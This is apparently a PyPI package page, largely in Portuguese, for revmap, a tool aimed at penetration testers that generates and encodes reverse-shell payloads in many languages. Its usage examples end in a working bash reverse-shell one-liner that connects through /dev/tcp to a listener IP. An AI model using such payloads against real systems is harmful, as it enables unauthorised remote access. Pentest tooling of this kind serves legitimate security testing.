Skip to main content

Tool that generates reverse shell in multiple languages and encodes

Project description

Typing SVG

Tool that generates reverse shell in multiple languages and encodes

FeaturesInstallHow to useUsage


O revmap é uma ferramenta que gera payloads de reverse shell de várias linguagens como python, bash, perl, powershell e muit outros. Possui uma funcionalidade que faz encode das payloads desejadas e dessa forma sendo simples e otimizada para velocidade. Revmap é construído para fazer apenas uma coisa: gera payloads reverse shell + encodes e faz isso muito bem.

Projetei o revmap para cumprir todas as responsabilidades para gera payloads e encodes, mantive um modelo consistentemente passivo para torná-lo útil para testadores de penetração.

Características

  • Gera payloads de reverse shell para diversas linguagens de programação (python, bash, powershell e etc)
  • Funcionalidade de realizar encode das payloads desejadas (Url encode, base64, hexadecimal e etc)

Forma de utilização

revmap --ip 192.168.4.80 --port 4444 --payload bash --encode urlencode
revmap --ip 192.168.4.80 --port 4444 --payload bash 
revmap --ip 192.168.4.80 --port 4444 --payload python
revmap --ip 192.168.4.80 --port 4444 --payload perl --encode base64

Isso exibirá a ajuda para a ferramenta. Aqui estão todos os switches que ele suporta:

 ___ ___ _ _ _____ ___ ___ 
|  _| -_| | |     | .'| . |
|_| |___|\_/|_|_|_|__,|  _|
                      |_|  
        v0.0.1 - @joaoviictorti 

options:
  --h, --help            show this help message and exit
  --version             show program's version number and exit
  --ip IP                Insert ip
  --port PORTA           Insert port
  --payload {bash,python,powershell,nc,php,perl,ruby,telnet,xterm,mkfifo,java,golang} Insert payload
  --encode {base64,hex,urlencode} Insert encode

Instalação

revmap requer python3 e para baixá-lo só usar:

pip3 install revmap

Executando revmap

revmap --ip 192.168.4.160 --port 8080 --payload bash

 ___ ___ _ _ _____ ___ ___ 
|  _| -_| | |     | .'| . |
|_| |___|\_/|_|_|_|__,|  _|
                      |_|  
        v0.0.1 - @joaoviictorti 
                                               

bash -c 'exec bash -i &>/dev/tcp/192.168.4.160/8080 <&1'

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

revmap-0.0.2.tar.gz (6.5 kB view details)

Uploaded Source

File details

Details for the file revmap-0.0.2.tar.gz.

File metadata

  • Download URL: revmap-0.0.2.tar.gz
  • Upload date:
  • Size: 6.5 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/4.0.2 CPython/3.11.1

File hashes

Hashes for revmap-0.0.2.tar.gz
Algorithm Hash digest
SHA256 bf5adea4d5a052bfac1c677073f9f411a04ed5ba025dac525a472ad3dd1ad206
MD5 f5d879c33671fa371c3fd7338720168a
BLAKE2b-256 6c4baa188d771b8fc87345630e5c12d663282c69c5d3a6ed553924757ff70f7c

See more details on using hashes here.

Supported by

AWS Cloud computing and Security Sponsor Datadog Monitoring Depot Continuous Integration Fastly CDN Google Download Analytics Pingdom Monitoring Sentry Error logging StatusPage Status page